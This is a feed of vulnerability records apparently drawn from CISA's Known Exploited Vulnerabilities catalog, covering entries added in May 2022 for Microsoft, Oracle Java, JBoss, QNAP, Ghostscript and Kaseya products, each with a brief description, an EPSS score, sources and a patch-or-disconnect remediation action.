CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft IME Japanese Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2014-4077
Microsoft IME Japanese Privilege Escalation Vulnerability (May 25, 2022).
Microsoft Input Method Editor (IME) Japanese is a keyboard with Japanese characters that can be enabled on Windows systems as it is included by default (with the default set as disabled). IME Japanese contains an unspecified vulnerability when IMJPDCT.EXE (IME for Japanese) is installed which allows attackers to bypass a sandbox and perform privilege escalation.
EPSS 54.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4077&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-4077: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4077&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2014-3153
Linux Kernel Privilege Escalation Vulnerability (May 25, 2022).
The futex_requeue function in kernel/futex.c in Linux kernel does not ensure that calls have two different futex addresses, which allows local users to gain privileges.
EPSS 37.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-3153&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-3153: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-3153&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2013-7331
Microsoft Internet Explorer Information Disclosure Vulnerability (May 25, 2022).
An information disclosure vulnerability exists in Internet Explorer which allows resources loaded into memory to be queried. This vulnerability could allow an attacker to detect anti-malware applications.
EPSS 50.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-7331&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-7331: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-7331&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### IBM InfoSphere BigInsights Invalid Input Vulnerability
https://kevwire.com/record/CVE-2013-3993
IBM InfoSphere BigInsights Invalid Input Vulnerability (May 25, 2022).
Certain APIs within BigInsights can take invalid input that might allow attackers unauthorized access to read, write, modify, or delete data.
EPSS 4.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3993&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3993: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3993&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Silverlight Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2013-3896
Microsoft Silverlight Information Disclosure Vulnerability (May 25, 2022).
Microsoft Silverlight does not properly validate pointers during access to Silverlight elements, which allows remote attackers to obtain sensitive information via a crafted Silverlight application.
EPSS 68.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3896&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3896: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3896&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle JRE Unspecified Vulnerability
https://kevwire.com/record/CVE-2013-2423
Oracle JRE Unspecified Vulnerability (May 25, 2022).
Unspecified vulnerability in hotspot for Java Runtime Environment (JRE) allows remote attackers to affect integrity.
EPSS 85.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2423&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-2423: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2423&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle JRE Sandbox Bypass Vulnerability
https://kevwire.com/record/CVE-2013-0431
Oracle JRE Sandbox Bypass Vulnerability (May 25, 2022).
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle allows remote attackers to bypass the Java security sandbox.
EPSS 90.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0431&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0431: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0431&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle JRE Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2013-0422
Oracle JRE Remote Code Execution Vulnerability (May 25, 2022).
A vulnerability in the way Java restricts the permissions of Java applets could allow an attacker to execute commands on a vulnerable system.
EPSS 97.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0422&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0422: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0422&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Silverlight Double Dereference Vulnerability
https://kevwire.com/record/CVE-2013-0074
Microsoft Silverlight Double Dereference Vulnerability (May 25, 2022).
Microsoft Silverlight does not properly validate pointers during HTML object rendering, which allows remote attackers to execute code via a crafted Silverlight application.
EPSS 78.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0074&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0074: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0074&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Fusion Middleware Unspecified Vulnerability
https://kevwire.com/record/CVE-2012-1710
Oracle Fusion Middleware Unspecified Vulnerability (May 25, 2022).
Unspecified vulnerability in the Oracle WebCenter Forms Recognition component in Oracle Fusion Middleware allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to Designer.
EPSS 7.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1710&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-1710: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1710&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat JBoss Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2010-1428
Red Hat JBoss Information Disclosure Vulnerability (May 25, 2022).
Unauthenticated access to the JBoss Application Server Web Console (/web-console) is blocked by default. However, it was found that this block was incomplete, and only blocked GET and POST HTTP verbs. A remote attacker could use this flaw to gain access to sensitive information.
EPSS 52.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-1428&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-1428: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-1428&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle JRE Unspecified Vulnerability
https://kevwire.com/record/CVE-2010-0840
Oracle JRE Unspecified Vulnerability (May 25, 2022).
Unspecified vulnerability in the Java Runtime Environment (JRE) in Java SE component allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors.
EPSS 96.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0840&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-0840: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0840&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat JBoss Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2010-0738
Red Hat JBoss Authentication Bypass Vulnerability (May 25, 2022).
The JMX-Console web application in JBossAs in Red Hat JBoss Enterprise Application Platform performs access control only for the GET and POST methods, which allows remote attackers to send requests to this application's GET handler by using a different method.
EPSS 73.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0738&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-0738: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0738&date=2026-10-25
CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2018-8611
Microsoft Windows Kernel Privilege Escalation Vulnerability (May 24, 2022).
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory.
EPSS 4.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8611&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8611: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8611&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP NAS File Station Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2018-19953
QNAP NAS File Station Cross-Site Scripting Vulnerability (May 24, 2022).
A cross-site scripting vulnerability affecting QNAP NAS File Station could allow remote attackers to inject malicious code.
EPSS 30.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19953&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-19953: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19953&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP NAS File Station Command Injection Vulnerability
https://kevwire.com/record/CVE-2018-19949
QNAP NAS File Station Command Injection Vulnerability (May 24, 2022).
A command injection vulnerability affecting QNAP NAS File Station could allow remote attackers to run commands.
EPSS 30.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19949&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-19949: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19949&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP NAS File Station Cross-Site Scripting Vulnerability
https://kevwire.com/record/CVE-2018-19943
QNAP NAS File Station Cross-Site Scripting Vulnerability (May 24, 2022).
A cross-site scripting vulnerability affecting QNAP NAS File Station could allow remote attackers to inject malicious code.
EPSS 22.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19943&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-19943: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19943&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows SMBv1 Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2017-0147
Microsoft Windows SMBv1 Information Disclosure Vulnerability (May 24, 2022).
The SMBv1 server in Microsoft Windows allows remote attackers to obtain sensitive information from process memory via a crafted packet.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0147&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0147: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0147&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft XML Core Services Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2017-0022
Microsoft XML Core Services Information Disclosure Vulnerability (May 24, 2022).
Microsoft XML Core Services (MSXML) improperly handles objects in memory, allowing attackers to test for files on disk via a crafted web site.
EPSS 18.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0022&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0022: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0022&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Graphics Device Interface (GDI) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2017-0005
Microsoft Windows Graphics Device Interface (GDI) Privilege Escalation Vulnerability (May 24, 2022).
The Graphics Device Interface (GDI) in Microsoft Windows allows local users to gain privileges via a crafted application.
EPSS 11.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0005&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0005: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0005&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2017-0149
Microsoft Internet Explorer Memory Corruption Vulnerability (May 24, 2022).
Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause a denial-of-service (DoS) via a crafted website.
EPSS 29.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0149&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0149: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0149&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2017-0210
Microsoft Internet Explorer Privilege Escalation Vulnerability (May 24, 2022).
A privilege escalation vulnerability exists when Internet Explorer does not properly enforce cross-domain policies, which could allow an attacker to access information.
EPSS 22.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0210&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0210: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0210&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Artifex Ghostscript Type Confusion Vulnerability
https://kevwire.com/record/CVE-2017-8291
Artifex Ghostscript Type Confusion Vulnerability (May 24, 2022).
Artifex Ghostscript allows -dSAFER bypass and remote command execution via .rsdparams type confusion with a "/OutputFile.
EPSS 97.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8291&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-8291: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8291&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Search Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-8543
Microsoft Windows Search Remote Code Execution Vulnerability (May 24, 2022).
Microsoft Windows allows an attacker to take control of the affected system when Windows Search fails to handle objects in memory.
EPSS 74.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8543&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-8543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8543&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kaseya VSA SQL Injection Vulnerability
https://kevwire.com/record/CVE-2017-18362
Kaseya VSA SQL Injection Vulnerability (May 24, 2022).
ConnectWise ManagedITSync integration for Kaseya VSA is vulnerable to unauthenticated remote commands that allow full direct access to the Kaseya VSA database.
EPSS 86.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-18362&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-18362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-18362&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2016-0162
Microsoft Internet Explorer Information Disclosure Vulnerability (May 24, 2022).
An information disclosure vulnerability exists when Internet Explorer does not properly handle JavaScript. The vulnerability could allow an attacker to detect specific files on the user's computer.
EPSS 22.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0162&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0162: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0162&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer and Edge Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2016-3351
Microsoft Internet Explorer and Edge Information Disclosure Vulnerability (May 24, 2022).
An information disclosure vulnerability exists in the way that certain functions in Internet Explorer and Edge handle objects in memory. The vulnerability could allow an attacker to detect specific files on the user's computer.
EPSS 26.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3351&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-3351: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3351&date=2026-10-25
CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
